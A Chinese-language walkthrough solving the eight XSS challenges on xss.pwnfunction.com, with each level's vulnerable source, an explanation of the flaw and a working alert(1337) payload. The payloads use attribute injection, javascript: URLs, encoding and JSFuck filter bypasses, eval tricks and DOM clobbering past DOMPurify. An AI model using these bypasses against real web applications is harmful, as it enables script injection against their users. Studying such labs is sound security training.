文章目录
- 第一关Ma Spaghet!
- 第二关Jefff
- 第三关Ugandan Knuckles
- 第四关Ricardo Milos
- 第五关Ah That's Hawt
- 第六关Ligma
- 第七关Mafia
- 第八关Ok, Boomer
网址:https://xss.pwnfunction.com/
第一关Ma Spaghet!
源码
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
分析代码,当通过get传参somebody时,就接收参数为传递的参数,如果没传参那么就Somebody。
官方文档写innerHTML标签不会执行
<img src=1 onerror="alert(1337)>"
第二关Jefff
源码
<!-- Challenge -->
<h2 id="maname"></h2>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`)setTimeout(_ => {maname.innerText = ma}, 1000)
</script>
分析源码
也是通过get传参jeff,如果传递了那么就为接受的值,如果没有那么就为JEFFF。然后定义了一个空字符串为ma,然后命令执行eval,再往下就是一个定时器,1秒后会将ma插入maname,且只能执行一次。
危险方法出自eval(),那么我们可以如下构建。
?jeff=aaa"alert(1337);"
前一个双引号是为了eval中的第一个双引号,后一个双引号是为了闭合eval中的第二个双引号,避免报错。
第三关Ugandan Knuckles
源码
<!-- Challenge -->
<div id="uganda"></div>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
这一关与上面不同的就是进行了<>的过滤,过滤<>的是为了避免用户的输入对代码中的函数进行闭合。那我们就得考虑其他的方式了。
input有一个属性为onfocus是获取焦点事件,还有有一个属性autoonfocus是自动对焦。
?wey=aaa"onfocus=alert(1337) autofocus="
第四关Ricardo Milos
源码
<!-- Challenge -->
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>
分析源码
也是get传递参数,经过两秒自动提交。
但是get提交的参数是在交给action,那我们可以在action上做文章。
?ricardo=javascript:alert(1337)
第五关Ah That’s Hawt
<!-- Challenge -->
<h2 id="will"></h2>
<script>smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")smith = smith.replace(/[\(\`\)\\]/g, '')will.innerHTML = smith
</script>
过滤了(、`、)、\,过滤了()那么alert这个函数就触发不了了,那应该怎么做呢?
考虑使用location
?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">
或者,下面这种思路是将(1337)先进行html实体编码,再进行url编码。
?markassbrownlee=<img src=1 onerror=alert%26%2340%3B1337%26%2341%3B>
第六关Ligma
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
这关过滤了大小写字母和数字。
那就只能使用编码的方式进行绕过了。
使用https://jsfuck.com/编码进行绕过。
先使用框架绕过进行编码,再使用url进行编码。
alert(1337)经过框架编码为
(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])
在使用URL编码
%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%2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遇见这类题目直接用此方法即可。
第七关Mafia
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
这关相对于上一关就是增加了字符数量限制。
那就不应该使用上一关的方法。
第一个方法就是使用构造函数。
例如:
var add = new Function('x','y','return x+y'
);
等同于
function add(x,y){return x+y;
}
对于匿名函数怎么去立即执行呢?
Function()()
这样就会立即执行匿名函数。
那我们考虑怎么使用这个机制生成payload呢?题目中也过滤了alert,那咱们能不能先大写再使用其他方法变成小写呢?
很幸运,确实有这样的方法
Function(/ALERT(1337)/.source.toLowerCase())()
第二种做法:使用parseInt()
他有两个参数,一个是string,一个是进制。
例如:
parseInt('alert',30)
8680439
还有一种方法与parseInt作用相反,就是toString().
例如:
8680439..toString(30)
'alert'
那么就是第二种做法
eval(8680439..toString(30))(1337)
第三种做法:
eval(location.hash.slice(1))
local.hash取得是url的#之后的值,slice是对其进行切片。
hash后面的值不会认为是传参,所以能绕过。
eval(location.hash.slice(1))#alert(1337)
第八关Ok, Boomer
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>
DOMPurify过滤框架是删除多余的元素,基本绕不过去,不用考虑。
那咱们就向下考虑定时器。
定时器就是在2秒后执行ok。
那我们就可以利用dom破坏技术了。
就是说直接用id或者name的值就能将标签取出来,但是document用id取不出来,用name能取出来。那我们能不能考虑让某个元素的id或者name直接将标签取出来?
setTimeout('console.log('aaa')',500)
当然呢这段代码输出是aaa,也就是说它可以将函数当作一个字符串放进去然后执行。
a标签的href可以通过toString自动替换为字符串。
那么就可以连用a标签和setTimeout进行攻击。
查看DOMPurify的白名单。
那么我们的协议就可以使用cid或者tel。href必须是协议:主机名,所以我们随机选取一个白名单中的协议。
<a id="ok" href="tel:alert(1337)">